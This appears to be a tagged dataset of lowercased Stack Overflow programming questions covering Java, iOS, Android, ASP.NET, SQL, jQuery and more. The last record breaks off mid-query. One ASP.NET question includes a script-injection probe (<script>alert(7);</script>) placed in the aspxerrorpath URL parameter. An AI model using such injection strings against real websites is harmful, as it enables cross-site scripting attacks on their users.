how to get results from another method into another method using java   i made a simple grade system for fun. i m trying to apply the total of grades and add it to an equation in my <code>getapercent()</code> method. however  i keep getting errors and don t know what to do.   <pre><code>package gradesystem;  import java.util.scanner;  public class gradesystem {            public static void main(string[] args) {          scanner keyboard = new scanner(system.in);         gradesystem gs = new gradesystem();         // todo auto-generated method stub       int acount bcount ccount dcount fcount;      double ap bp cp dp fp;       system.out.println( enter the amount of a s );       acount = keyboard.nextint();       system.out.println( enter the amount of b s );       bcount = keyboard.nextint();       system.out.println( enter the amount of c s );       ccount = keyboard.nextint();       system.out.println( enter the amount of d s );       dcount = keyboard.nextint();       system.out.println( enter the amount of f s );       fcount = keyboard.nextint();                 int grades;       ap = getapercent(acount);       system.out.println(ap);       bp = getbpercent(bcount);       system.out.println(bp);       cp = getcpercent(ccount);       system.out.println(cp);       dp = getdpercent(dcount);       system.out.println(dp);       fp = getfpercent(fcount);       system.out.println(fp);            }      public static void totalgrades(int acount  int bcount  int ccount  int dcount  int fcount){      int totalofgrades = acount + bcount + ccount + dcount + fcount;           system.out.print(totalofgrades);                 }      public static double getapercent(int a){         double ap;               ap = (a/a * 100) + 0.5;          return math.round(ap);             }      public static double getbpercent(int b){                     double bp;         bp = (b/b * 100) + 0.5;         return math.round(bp);               }   public static double getcpercent(int c){                    double cp;         cp = (c/c * 100) + 0.5;         return math.round(cp);               }   public static double getdpercent(int d){                    double dp;         dp = (d/d * 100) + 0.5;         return dp;               }   public static double getfpercent(int f){                    double fp;         fp = (f/f * 100) + 0.5;         return fp;               }    } </code></pre>,java
how to create downloading bar to uiwebview  i need to create downloading bar  when url is loading on uiwebview to my application.    i need to following format when url is loading time to my application.    <img src= https://i.stack.imgur.com/oaoca.jpg  alt= alt text >,iphone
having two different apks from the same project  i have and android project with a flag that depending on its value the functionality of the applicaiton changes. the thing is i want to have two apks (the two functionalities) on the phone  so how is it possible to have the 2 apks on the same phone regards,android
modaltransitionstyle horizontal cover  in my iphone app i m using several modal views. when i present a new viewcontroller i always use one of the transition animations   <pre><code>(uimodaltransitionstylepartialcurl uimodaltransitionstylefliphorizontal uimodaltransitionstylecoververtical uimodaltransitionstylecrossdissolve) </code></pre>   what i am looking for would be called <code>uimodaltransitionstylecoverhorizontal</code>  but there s no such thing. however in a lot of applications (both ios and 3rd party) i see this horizontal covering transition.    does anybody know how this can be achieved,ios
figuring out if variable is instanceof a prototype of a function  say i have   <pre><code>function foo() {     // stuff }   foo.prototype.bar = function() {     return new bar(); }  function bar() {};  module.exports = foo; </code></pre>   now say i have   <pre><code>const foo = new foo(); console.log(foo instanceof foo); // true  const bar = new foo().bar(); console.log(bar instanceof foo); // false console.log(bar instanceof foo.prototype.bar); // false </code></pre>   here <code>bar</code> is never exported. so how can i test if <code>bar</code> is an instance of ... something  can i somehow have <code>bar instanceof foo</code> or a subset of foo or something,javascript
how to fixed number of digit textbox of asp.net  for the employee id. our company have 6 fixed numbers of digits so i have to  fixed 6 digits in text box not less than 6 or not less than 5 by using asp.net(if possible by property validation)    so user able to put only 6 number in that particulate text box.    thank you in advance,asp.net
what is the difference between debug.write and trace.write   what is the difference between <strong>debug.write</strong> and <strong>trace.write</strong>  when should each be used,.net
how to submit a form and delete a post  i have two models in a rails project: <code>link</code> and <code>campaign</code>. in the show.html.erb for <code>link</code> i have a form to create a new <code>campaign</code> it looks like this   <pre><code> &lt;%= form_for :campaign  url: campaigns_path do |f| %&gt;    &lt;%= f.hidden_field :name  value: current_user.email %&gt;    &lt;%= f.hidden_field :product  value: @link.product %&gt;    &lt;%= f.hidden_field :title  value: @link.title %&gt;    &lt;%= f.hidden_field :website  value: current_user.website %&gt;    &lt;%= f.hidden_field :productlink  value: @link.url %&gt;    &lt;%= f.hidden_field :description  value: @link.description %&gt;    &lt;%= f.hidden_field :date  value: date.today.to_s %&gt;    &lt;br&gt;    &lt;br&gt;    &lt;%= f.submit : let s go make some money   class:  btn btn-primary  %&gt;  &lt;% end %&gt; </code></pre>   this works. my problem is deleting the post for <code>link</code> while creating the new post based on it for <code>campaign</code>. basically  i want to submit a form and delete something else.,ruby-on-rails
how to use the default layout for nested controller   pretty new to rails and i was building my routes to get a nested controller like this:   <pre><code>resources :companies do   member do     get  operating_hour    end   resources :services do     member do       get  services      end   end end </code></pre>   now  my layout for my applications is like this:   <pre><code>&lt;body&gt; &lt;%= render  layouts/header  %&gt; &lt;div class= container &gt;   &lt;% flash.each do |key  value| %&gt;       &lt;div class= alert alert-&lt;%= key %&gt; &gt;&lt;%= value %&gt;&lt;/div&gt;   &lt;% end %&gt;    &lt;% if main_side_view  %&gt;       &lt;%= render  layouts/main_side  %&gt;   &lt;% elsif company_side_view %&gt;       &lt;%= render  layouts/company_side  %&gt;   &lt;% else %&gt;       &lt;h1&gt;&lt;%= yield(:title) %&gt;&lt;/h1&gt;       &lt;%= yield %&gt;   &lt;% end %&gt;    &lt;%= render  layouts/footer  %&gt; &lt;/div&gt; </code></pre>   all is working fine with my layout except all that is generated by the nested ( service ) controller. when i go to a link of the nested controller my layout is not there!    any help,ruby-on-rails
how to pass in variable when using ng-include   normally i could use scope to pass the variable from controller to view. but when i use ng-include to include some html snippet  how to pass in the variables     for example  i write some header.html and use ng-include to add this to the main page,angularjs
how to switch/override the variable  aspxerrorpath    i am getting the problem of aspxerrorpath.    i dont want asp.net to validate this variable  even when i have custom page error enabled. if i write something like <code>https://...../asd.aspx aspxerrorpath=&lt;script&gt;alert(7);&lt;/script&gt;</code> it throws an error and forward me to the aspx error page by default and not to one of my pre-defined custom error pages. why  how can i override the aspxerrorpath behaviour,asp.net
how to link my database item to php   i m currently stuck because i have no idea hot to insert my database item to be displayed on my php. need help. im a php beginner.    database   <pre><code>&lt; php $con=mysqli_connect( localhost   root      account ); // check connection if (mysqli_connect_errno()) { echo  failed to connect to mysql:   . mysqli_connect_error(); } $sql= select * from product ; $row = mysql_fetch_assoc($sql);  &gt; </code></pre>   index.php     <pre><code>&lt;div class= col-sm-6 col-md-4 &gt; &lt;div class= thumbnail &gt; &lt;img src= &lt; php echo $row[ product_img_name ];  &gt;  alt=  &gt; &lt;div class= add-to-cart &gt; &lt;a href= #  class= glyphicon glyphicon-plus-sign  data-toggle= tooltip  data-placement= top  title= add to cart &gt;&lt;/a&gt; &lt;/div&gt; &lt;div class= caption &gt; &lt;h4 class= pull-right &gt;&lt; php echo $row[ price ]; &gt;&lt;/h4&gt; &lt;h4&gt;&lt;a href= product.html &gt;&lt; php echo $row[ product_name ]; &gt;&lt;/a&gt;&lt;/h4&gt; &lt;p&gt;&lt; php echo $row[ product_desc ]; &gt;&lt;/p&gt;    &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;       </code></pre>,php
reading  parsing and posting data from a .csv file into a sql database asp.net  i have the following data that basically i only need a few bits of information from:   <blockquote>    resource:x - y;z - å;type:(all) from date:   07/12/2010 - to date 07/12/2010 sort   by:time include referring   source/physician:no footer:default   criteria:none      appointments   x    y   zassociates   monday  july 12    2010   time   patient name   patient   id   appt. type   ref. source/   physician   phone   type   dob      z  x   y   7/12/2010   12:00:00am   time   patient   name   patient id   appt.   type   phone   type   dob     7:30   [snip]  </blockquote>   the only things i need from this are:    patients name    drs name    patients phone number     appt time     appt date    and the rest of the information i can discard. a customer uploads this as a .csv file (even though it really isn t as you can see) and i d like to parse the needed information and post that to my sql database and discard the rest. i think i can do this with a dataset but i ve never built that before. the fields from the customer will always be the same and the fields i will need will always be the same.    also  the date time has to be in the format of yyyy/mm/dd:hhmm and the phone number always has to have 512 as a prefix. here is the code i currently have for my site:   <pre><code>imports system.io imports system.data imports system.data.sqlclient partial class _default inherits system.web.ui.page protected sub page_load(byval sender as object  byval e as system.eventargs) handles me.load  end sub protected sub submit1_click(byval sender as object  byval e as system.eventargs) dim savelocation =  \\xxxweb3\wwwroot\webfile1\reminders\doug_ancil\doug.csv  if uploadfile(savelocation) then  the file was uploaded: now try saving it to the database savetodatabase(savelocation) end if end sub private function uploadfile(byval savepath as string) as boolean dim filewasuploaded as boolean = false  indicates whether or not the file was uploaded   checking if the file upload control contains a file if not file1.postedfile is nothing and file1.postedfile.contentlength &gt; 0 then try  checking if it was .txt file before uploading it!  you used to upload it first...but the file could be a virus if file1.filename = ( doug.csv ) = false then  the file is not the expected type...do not upload it  just post the validation message message.text =  sorry  thats not the correct file.  message2.text =  please locate and upload  doug.csv   else  the file is a .txt file  checking to see if the file exists already  if it does exist deleting the existing one so that the new one can be created if io.file.exists(savepath) then io.file.delete(savepath) end if   now upload the file (save it to your server) file1.postedfile.saveas(savepath)   after saving it check to see if it exists if file.exists(savepath) then  upload was sucessful message.text =  thank you for your submission.  filewasuploaded = true else  the file was not saved message.text =  unable to save the file.  end if end if  catch exc as exception  we encountered a problem   message.text =  your file was not in the correct format. please contact customer service at xxxx-xxxx-xxxx.  end try else  no file was selected for uploading message.text =  please select a file to upload.  end if return filewasuploaded end function  private sub savetodatabase(byval savepath as string) try dim sqlquerytext as string = _  bulk insert dialerresults   + _  from    &amp; savepath &amp;      + _  with ( fieldterminator =       rowterminator =  \n  )      and bulk import the data:   if configurationmanager.connectionstrings( dialerresults ) isnot nothing then  dim connection as string = configurationmanager.connectionstrings( dialerresults ).connectionstring   dim connection as string =  data source=10.2.1.40;initial catalog=ivrdialer;uid=xxxx;password=xxxxx;   using con as new sqlconnection(connection) con.open()   execute the bulk import  using cmd as new sqlcommand(sqlquerytext  con)  cmd.executenonquery()  end using end using   else  message.text= configurationmanager.connectionstrings( dialerresults ) is nothing!   end if catch ex as exception   message.text =  your file was not in the correct format. please contact customer service at xxxxxxx.   end try end sub  end class </code></pre>   thank you     doug,asp.net
sql query (in zoho reports) to join two tables by subtotas :-o  if you are out there  please help me:    i <strong>have</strong> 2 different tables  with different columns and no primary key:    1 - daily actual sales data   2 - monthly budget sales data    i <strong>need</strong>:   <pre><code>- one consolidated table with monthly actual sales (counted) and montly budget sales  to compare monthly sales vs budget. </code></pre>   is it possible,sql
jquery: dynamic image replace on hover   i want a jquery function that takes a img element  and when it is hovered  it replaces the img like this: myimage.png replaces to myimage2.png    this is what i came up with but it s not working:   <pre><code>        $( #menu img ).hover(function(){         var split = $(this).attr( src ).split( .png );         $(this).attr( src   split[0]+ 2.png );     }  function(){         var split = $(this).attr( src ).split( .png );         $(this).attr( src   split[0]+ .png );     }); </code></pre>   i m sure the veterans can come up with a much better approach  so please.,jquery
encoding.getstring from stream  i have a function that converts a part of stream to a string:   <pre><code>private string getstring(stream stream  int start  int length)  {     var buffer = new byte[length];     stream.read(buffer  start  length);     return encoding.utf8.getstring(buffer  start  length); } </code></pre>   i am working with pretty big stream and i don t like to duplicate bytes (by converting part of stream to byte[]) just for being able to call <code>encoding.getstring</code>. is there any way to get string of some encoding from stream,.net
mysql index sign of decimal  is there an efficient way to index the sign of a decimal column with mysql (innodb)     i ve a query with the condition <code>where amount &gt; 0</code> (and visa versa) and i m wondering if there s a fancy way to make it speedy. in the same way that indexing the first character of a string can speed up a query like <code>select distinct left(some_string_column  1)</code>.,mysql
send whole form in pdf format when press submit button  i am making an iphone application in which i struck at one part which is..when the user press submit button i want to send the whole form in pdf to the specific email . any help would be really appreciated.    thank you,objective-c
android content provider without sql  my android application is handling a large database of bus passage time and we would like to allow others application to be able to display certains bus passage time. we would like to use a content provider to do that. most example seems to be about using an sql database  but... we use some custom text file. i was wondering what would be the best way to do that. i was thinking i could use a content provider and implement the cursor interface on a custom object that i would manually fill with my text data. would this be possible   anyone have a better idea (excluding changing to sql lite of course)      thanks in advance.,android
apns device token not generating with production certificate  i have read ray s awsome tutorials on apns from there <a href= http://www.raywenderlich.com/3443/apple-push-notification-services-tutorial-part-12  rel= nofollow >http://www.raywenderlich.com/3443/apple-push-notification-services-tutorial-part-12</a> http://www.raywenderlich.com/3525/apple-push-notification-services-tutorial-part-2    and i have implemented them with development certificate and every thing is working fine  but now when i have implemented it with production certificate  the device token has stop generating. i have created new app id for production and also new production push ssl certificate and i have also created the .pem files but some how the device token is not generating  plz. guide me in this coz i am stuck here  even this notification is not being called   <pre><code>- (void)application:(uiapplication*)application didregisterforremotenotificationswithdevicetoken:(nsdata*)devicetoken {     nsstring* oldtoken = [datamodel devicetoken];      nsstring* newtoken = [devicetoken description];     newtoken = [newtoken stringbytrimmingcharactersinset:[nscharacterset charactersetwithcharactersinstring:@ &lt;&gt; ]];     newtoken = [newtoken stringbyreplacingoccurrencesofstring:@    withstring:@  ];      nslog(@ my token is: %@   newtoken);      [datamodel setdevicetoken:newtoken];     [[nsnotificationcenter defaultcenter] postnotificationname:@ tokenrecieved  object:nil];      if ([datamodel joinedchat] &amp;&amp; ![newtoken isequaltostring:oldtoken])     {         [self postupdaterequest];     } }  </code></pre>   plz. guide,iphone
python: copy a set in order   in python  is it possible to copy a set in the same order as the original  for example  rather than:   <pre><code>&gt;&gt;&gt; s = { r   g   b } &gt;&gt;&gt; t = {i for i in s} &gt;&gt;&gt; t set([ r    b    g ]) &gt;&gt;&gt;  </code></pre>   can <code>t</code> be set to:   <pre><code>{ r   g   b } </code></pre>,python
how to use an angular controller multiple times on the same page   i am building a simple dashboard with 6 slots.  users can select the type of content they d like to put in each slot  and they can also select the same content to be put into multiple slots.  this is where the problem lies...    i d like to architect the app so that the content template is injected dynamically into slots via <code>ng-include</code>  and the content template will contain a <code>ng-controller= content1controller </code> reference to the controller for that content.      but  when adding the same content in multiple slots  the controller is re-run each time for multiple instances of content.    since keeping track of the instances within the controller won t work since it potentially can be re-run  should i track instances in a service  and have the controller check in with the service each time it is run     my question is how should i architect this  and am i thinking about this in a correct/angular-ish way,angularjs
android - layout in java file  as per my requirement  i should give the orientation in horizontal only  if i give 3 sentences in 3 text views  if there is no space for third sentence then it should come in the next line in the first position ...     public class mainactivity extends activity {   <pre><code>private linearlayout layout;  @override protected void oncreate(bundle savedinstancestate) {      super.oncreate(savedinstancestate);      setcontentview(r.layout.activity_main);      findviewbyid();      linearlayout.layoutparams layoutparams = new linearlayout.layoutparams(layoutparams.wrap_content layoutparams.wrap_content);      layoutparams.setmargins(10  15  10  10);     layout.setorientation(linearlayout.horizontal);     android.view.viewgroup.layoutparams params;           textview tvtextsecond = new textview(this);     tvtextsecond.settext( heywhatrudoingtoday );     tvtextsecond.setlayoutparams(layoutparams);     tvtextsecond.setbackgroundcolor(color.red);     tvtextsecond.settextcolor(color.white);      textview tvtextthird = new textview(this);     tvtextthird.settext( haiitssundaytowork );     tvtextthird.setlayoutparams(layoutparams);     tvtextthird.setbackgroundcolor(color.blue);     tvtextthird.settextcolor(color.white);      textview tvtextfourth = new textview(this);     tvtextfourth.settext( owebullshitruuselessfellow );     tvtextfourth.setlayoutparams(layoutparams);     tvtextfourth.setbackgroundcolor(color.yellow);     tvtextfourth.settextcolor(color.white);      layout.addview(tvtextsecond);     layout.addview(tvtextthird);     layout.addview(tvtextfourth);  }  private void findviewbyid() {      layout = (linearlayout) findviewbyid(r.id.flowlayout);  } </code></pre>   },android
"how to vertical align an anchor inside li   i want to create a menu with a  button  (anchor) in the last <code>&lt;li&gt;</code>.    so far so good  but when i want to create the button  i can t get it to vertical center it.    here is <a href= https://jsfiddle.net/wksfdszu/  rel= nofollow >a live demo</a>.    <div class= snippet  data-lang= js  data-hide= true  data-console= true  data-babel= false >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>nav
 {
   width: 100%;
   height: 60px;
   
   background-color:blue;
 }
 
 ul
 {
   list-style-type:none;
 }
 
 li
 {
     height: 60px;
    color: #000000;
   font-family: $font-family-semi-bold;
   float:left;
     background-color:green;
     line-height:60px;
     margin-left: 20px;
     margin-right: 20px;
 }
 
 .vertical
 {
   display: inline-block;
   height: 40px;
   background-color:red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;nav&gt;
   &lt;ul&gt;
     &lt;li&gt;hello world1&lt;/li&gt;
     &lt;li&gt;hello world2&lt;/li&gt;
     &lt;li&gt;hello world3&lt;/li&gt;
     &lt;li&gt;
       &lt;a href= #  class= vertical &gt;
         vertical align this!
       &lt;/a&gt;
     &lt;/li&gt;
   &lt;/ul&gt;
 &lt;/nav&gt;</code></pre>
 </div>
 </div>",css
angularjs error: error:infdig infinite $digest loop  trying to bind an array that has duplicates.  first removing the duplicate with the following. but i get this   <pre><code>error: error:infdig infinite $digest loop   return myarray.filter(function (elem  pos) {                        return myarray.indexof(elem) == pos;                     }); </code></pre>   how can remove the duplicates,angularjs
objective c  can i generate uuid from a string   i know that i can do this in java like   <pre><code> uuid nodeid = uuid.fromstring(eid.providerid);//eid.providerid returns a string </code></pre>   can i do this in objective c,objective-c
how to embed a webpage inside a webpage for maximum support  what is the best way to embed a webpage inside a webpage for maximum support and according to standards     i ve heard an <code>&lt;object&gt;</code> with an <code>&lt;embed /&gt;</code> inside and <code>&lt;iframe /&gt;</code> alone.    which is better and more proper to use; and more importantly  work more of the time,html
copy number of bytes to a position in memory  if i am not correct  the codes following are used to copy an array of bytes to a position of memory in c#:   <pre><code>byte[] bytename = encoding.ascii.getbytes( hello there );  int positionmemory = getposition();  marshal.copy(bytename  0  new intptr(positionmemory)  bytename.length); </code></pre>   how can i achieve this in native c++     thanks in advance.,c++
jquery .animate(width:  toggle ) not working properly after $.post  this might be just a simple code error i am not sure i am relatively new to jquery and javascript. i can t see where the issue is if it is that simple.    <b>question</b>: after i have used a $.post command the  .animate(width:  toggle ) doesn t act properly it seems to act multiple times  it slides in along with the tab but then it seems to shoot back out almost immediately. but when i use a $.ajax to load links it seems to work fine    <b>research</b>: i don t seem to be able to find much relevant information to the question. which suggests its a coding error but i have no idea where or how what is actually causing the issue    <b>code</b>: my jquery code(includeing the $.post method and the links part)   <pre><code>$(document).ready (     function()     {         $(document).on         (              click   #login-tab               function()             {                //move the panel out                 $( #login ).animate({width:  toggle }   fast );                  //get the width of the panel                 var width = $( #login ).width();                  //figure out where the tab to either slide out or slide in the panel is                  $( #login-tab ).css( left  width - $( #login-tab ).width() - 400);                  //draw either the less than or greater than sign depending whether the panel is out                 if(width &lt; 400)                 {                     $( #login-tab ).html( &amp;gt );                 }                 else                 {                     $( #login-tab ).html( &amp;lt );                 }             }         );         $(document).on         (              click   button.submit               function()             {                 var formdata = $( this ).closest( form ).serializearray();                 var url =  http://alanjavatuts.comxa.com/testing/scratch/  + $( this ).closest( form ).attr( action );                  $.post                 (                     url                  formdata                  function(data  textstatus  jqxhr)                 {                         $( #login ).html(data);                 //data: data from server                 }                 )                 .fail(function(jqxhr  textstatus  errorthrown)              {                     if (jqxhr.status === 0) {                         alert( not connect.\n verify network. );                     } else if (jqxhr.status == 404) {                         alert( requested page not found. [404] );                     } else if (jqxhr.status == 500) {                         alert( internal server error [500]. );                     } else if (exception ===  parsererror ) {                         alert( requested json parse failed. );                     } else if (exception ===  timeout ) {                         alert( time out error. );                     } else if (exception ===  abort ) {                         alert( ajax request aborted. );                     } else {                         alert( uncaught error.\n  + jqxhr.responsetext);                     }             });             }         );         $(document).on         (              click   a.cpanel               function(event)             {                 var url =  http://alanjavatuts.comxa.com/testing/scratch/  + $( this ).attr( href );                  // launch ajax request.                 $.ajax                 (                     {                         // the link we are accessing                         url: url                           // the type of request.                         type:  get                            // the type of data that is getting returned.                         datatype:  html                            error:                             function()                             {                                 $( #login ).html(  &lt;p&gt;page not found!!&lt;/p&gt;  );                             }                           beforesend:                             function()                             {                                 //before its sent                             }                           complete:                             function()                             {                                 //when its complete                             }                           success:                             function( strdata )                             {                                 // load the content in to the page.                                 $( #login ).html( strdata );                             }                    }                                            );                 // prevent default click.                event.preventdefault();            return( false );             }         );     } ); </code></pre>   i will also provide the example form code   <pre><code>&lt;form id= register  action= users/register.php  method= post  enctype= multipart/form-data &gt;     &lt;table&gt;         &lt;tr&gt;             &lt;td&gt;                 username:             &lt;/td&gt;             &lt;td&gt;                 &lt;input type= text  name= username  maxlength= 30  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 email:             &lt;/td&gt;             &lt;td&gt;                 &lt;input type= text  name= email  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 password:             &lt;/td&gt;             &lt;td&gt;                 &lt;input type= password  name= pass1  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 password again:             &lt;/td&gt;             &lt;td&gt;                 &lt;input type= password  name= pass2  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 bio:             &lt;/td&gt;             &lt;td&gt;                 &lt;textarea rows= 9  cols= 30  name= bio  form= register &gt;enter text here...&lt;/textarea&gt;&lt;br /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 avatar(&lt;a href= # &gt;upload&lt;/a&gt;):             &lt;/td&gt;             &lt;td&gt;                 &lt;input type= text  name= avatar  /&gt;             &lt;/td&gt;         &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;         &lt;tr&gt;             &lt;td colspan= 2 &gt;                 &lt;button class= submit  type= button &gt;register&lt;/button&gt;                 or &lt;a href= users/login_form.php  class= cpanel &gt;log in&lt;/a&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; &lt;/form&gt; </code></pre>   and one of the files it posts to ($db is a variable representing the database and it comes form the header.php file)   <pre><code>&lt; php  include(dirname(dirname(__file__)) .  /includes/header.php );  //check all mandatory fields are filled out if((isset($_post[ username ]) &amp;&amp; strlen($_post[ username ]) &gt; 0) &amp;&amp; (isset($_post[ email ]) &amp;&amp; strlen($_post[ email ]) &gt; 0) &amp;&amp; (isset($_post[ pass1 ]) &amp;&amp; strlen($_post[ pass1 ]) &gt; 0) &amp;&amp; (isset($_post[ pass2 ]) &amp;&amp; strlen($_post[ pass2 ]) &gt; 0)) {     //retrieve our data from post     $username = $_post[ username ];     $email = $_post[ email ];     $pass1 = $_post[ pass1 ];     $pass2 = $_post[ pass2 ];     $bio = $_post[ bio ];     $avatar = $_post[ avatar ]; } else {     $error =  you didn t enter all the required data. ; } if($pass1 != $pass2)     $error =  the passwords didn t match. ;     if(strlen($username) &gt; 30)         $error =  you entered to long of a username. ;      //create secure password(isn t important to the question)      $email = filter_var($email  filter_sanitize_email);      if(isset($error))     {         echo $error. &lt;br /&gt;&lt;a href= users/register_form.php  class= cpanel &gt;retun to registration page&lt;/a&gt; ;     }     else     {         $success = $db-&gt;register_user($username  $email  $hash  $salt  $bio  $avatar);         if($success === 1)         {             echo  row inserted ;         }         else         {             echo  an error occured while inserting into the database ;         }     }  &gt; </code></pre>   i have now spent over 3 hours fittling with this problem  so if its me just being stupid please let me know.,jquery
what microsoft sql join to use  i don t have a clue as to how to proceed with this as i am new to sql. i have a two giant tables each with about 70 000 rows with the data of following type:    table 1:   <pre><code>a s d1 a s d2 a s d3 b s c b s e1 b s e2 </code></pre>   table 2:   <pre><code>a s d1 b s e2 </code></pre>   i want to get the following:   <pre><code>a s d1 b s c b s e2 </code></pre>   edit: i need to have all data which is intersection of tables 1 and 2. i also need to discard from table 1  data which matches across columns 1 and 2 but not on column 3.,sql
urlrewriting in asp.net 3.5 with example  can anyone please provide me the details how we can implement custom url rewriting in asp.net    my current url is look like below :    www.domainname.com/news/default.aspx newstitle=todays latest news and now i would like to redirect to below url :    www.domainname.com/news/todays-latest-news    please suggest me how we can achieve the same using asp.net 3.5 version.,asp.net
how to animate a set of images   how to animate a set of images  but i have a large set of images  300 to be exact    <pre><code> background.animationimages = [nsarray arraywithobjects:                                       [uiimage imagenamed:@ 001.jpg ]                                    [uiimage imagenamed:@ 002.jpg ]                                    [uiimage imagenamed:@ 003.jpg ]                                    [uiimage imagenamed:@ 004.jpg ]                                    [uiimage imagenamed:@ 005.jpg ]                                    [uiimage imagenamed:@ 006.jpg ]                                    [uiimage imagenamed:@ 007.jpg ]                                    [uiimage imagenamed:@ 008.jpg ]                                    [uiimage imagenamed:@ 009.jpg ]                                    [uiimage imagenamed:@ 010.jpg ]                                    nil]; </code></pre>   and i dont wanna go all the way up to 300 by typing  is there a solution for this   could i use a loop for this,iphone
filtering and updating options in select dynamically with angularjs  i have different <code>&lt;select&gt;</code> in a <em>ng-repeat div</em>. what i want is to avoid users select several times a same option.    i used the filter like this :   <pre><code>&lt;div ng-repeat= customer in datas.customers &gt;     &lt;select ng-model= customer.attributeid  ng-change= updatecustomer(customer) &gt;       &lt;option ng-repeat= attribute in datas.attributes | filter:filterbyattributenotused(customer)  value= {{attribute.id}} &gt;{{attribute.name}}&lt;/option&gt;     &lt;/select&gt;    &lt;/div&gt; </code></pre>   the filter works like i want (i tested it separately). but the result is not good.    when the filter is active  options in different select have to show only  free  attributes (it means  attributes which are not yet selected).    here is a <a href= https://jsfiddle.net/stalyon/xzbxqf94/1/  rel= nofollow >demo</a> which is more explicit i suppose.,angularjs
how to play multiple video one after one   i am developing a project in android in which i have 4 frame-layout in scroll-view in one activity and i want to play mp4 video in each frame layout one by one continuously in same activity can any one give me the source code for that i will be very thankful to you.,android
how to read chars from a file and store them into a string in c   im trying to read a line of chars from a file  place each char into a string and then use the string in various ways. i ve only posted printing cause that was the first of a few things i want try out but that doesnt work. my code doesnt print any values for the string. i apologize if format is bad but im writing on my phone as i have no internet at home.    <pre><code>#include&lt;stdio.h&gt;  int main(int argc  char **argv){      file*fp = fopen(argv[1]);     char curr;     char string[7];     int i = 0;       while(curr != eof){               string[i] = curr;              printf( %c\n   curr);              curr = fgetc(fp);               i++;       }        string[7] =  \0 ;       printf( %s\n  string);       return 0; } </code></pre>   i would usually pass test.txt into it which simply has the letters a-f in it. how can i fix this code     edit: placed  \0  at end of line with string[7]. was a typo,c
statements run in main but not when called from a function  sorry. i really tried to solve this myself. but i don t understand. the statements ran okay when i place them in <code>main</code>. but when i call them in a function from <code>main</code>  segmentation fault happens. does it mean memory overflowed    <pre><code>void displaytime(char state[]) {     time_t totalsec = time(null);//total no of secs since epoch     struct tm *currtime = localtime(&amp;totalsec); //store local time in struct declared in time.h     char *result;      strftime(result  20   %y:%m:%d %h:%m:%s   currtime); //e.g. 2017:11:12 12:30:48 max is 20 characters including \0     printf( program at %s\n   result ); }  int main() {     displaytime( started );     return 0; } </code></pre>,c
rails controller action contain an algorithm  i have made a rails app. users can upload images. once the images are saved into database. an algorithm being called to process those pictures. for now  it was realized within a controller action like this:   <pre><code>def create   @post = current_user.posts.build(params)   if @post.save     flash[:success]= post created      redirect_to root_url     image_names = []     @post.picture.each do |imgs|       image_names &lt;&lt; imgs.url     end     my_algorithm(image_names)   else     render  static_pages/home    end end </code></pre>   it works correctly. the problem is the page didn t show until the algorithm finishing. and the algorithm took long time. how to fix it. or maybe call my_algorithm other places  or delay_job,ruby-on-rails
i have a c# class that returns some fields....but i want it to return a list of custom objects (i think!!!)  this is a very noob question  but i have been googling and can t seem to work out the solution myself.<br> i have created a class that has a number of fields (below).  i am grabbing data from a .json file.   <pre><code>public class weatherdata {     //weatherdatas     public string airtemp { get; set; }     public string apparenttemp { get; set; }     public string windspeedkph { get; set; }     public string windgustskph { get; set; }     public string humidity { get; set; }     public string dewpoint { get; set; }     public string deltat { get; set; }     public string pressure { get; set; }      public weatherdata(string json  int index)     {         jobject jsonobject = jobject.parse(json);         jtoken jobbs = jsonobject[ observations ];         jtoken jdata = jobbs[ data ];                     airtemp = (string)jdata[index][ air_temp ];         apparenttemp = (string)jdata[index][ apparent_t ];         windspeedkph = (string)jdata[index][ wind_spd_kmh ];         windgustskph = (string)jdata[index][ gust_kmh ];         humidity = (string)jdata[index][ rel_hum ];         pressure = (string)jdata[index][ press_qnh ];     } } </code></pre>   using the above i can get the  airtemp  from  weatherdata.airtemp .  but due to some bells and whistles i want to add later what i really want to do is return not just the airtemp value but a field/property indicating the type of the value. for example something like:    <code>weatherdata.weatherdatas.airtemp.value</code> &amp; <code>weatherdata.weatherdatas.airtemp.type</code>    where <code>.value</code> would be air temp and <code>.type</code> be the string  airtemp .    i just can t seem to work out how to describe to google what i am trying to do.,c#
how to delete all data > 70 characters in a column  can you help me to delete all characters > 70 in a  title  column in <code>dbo.tabs</code> with a sql script,sql
how to query the combination of multiple rows(mysql)  i am working on writing a query that is able to check multiple rows of the same user. if the combination of the same user s records doesn t provides the required information i need  (remember it is combination of all records a user has  not a single one)  the user is considered passed.    for example: there are two tables.    one is  user  which keep user s personal information:    id client_id first_name last_name date_of_birth ssn address another one is  screening  which keep users  medical test information:    id user_id date cholesterol ldl hemoglobin triglycerides mcv glucose  mchc ha1c plateletcount. one user can only have one record in user table  but could have multiple records in screening table. what i want to do is check the users  multiple screening records that belongs to the same user to see if the combination of those records provide the necessary information i need. if no  the user is selected. for example  the necessary information includes cholesterol  ldl  triglycerides  glucose or . if a user has two screening records  one record provides cholesterol(not null)   another one provides triglycerides(not null)  glucose(not null) and ha1c(not null). he is selected because ldl is missing.    how do i write the query that is able to do that  i tried inner join  but it seems to not work. there are some requirements here. for cholesterol  ldl and triglycerides  as long as one of them is missing  the user should be selected. but for glucose and ha1c  the user is selected only when both are missing.    one of the query i tried is like this. it shows users that should not be shown. please help me have a look and tell me what is wrong:   <pre><code>select users.id as user_id  users.first_name  users.last_name  clients.name as client           users.social_security_number as ssn  users.hiredate  hra.id as hra_id  hra.date     as hra_date  hra.maileddate as hra_maileddate           sall.id as screening_id  sall.date as screening_date  sall.maileddate as     screening_maileddate     from users      inner join clients     on(        users.client_id = clients.id        and users.client_id =  1879         )     inner join hra     on(        users.id = hra.user_id        and hra.date between  2011-07-01  and  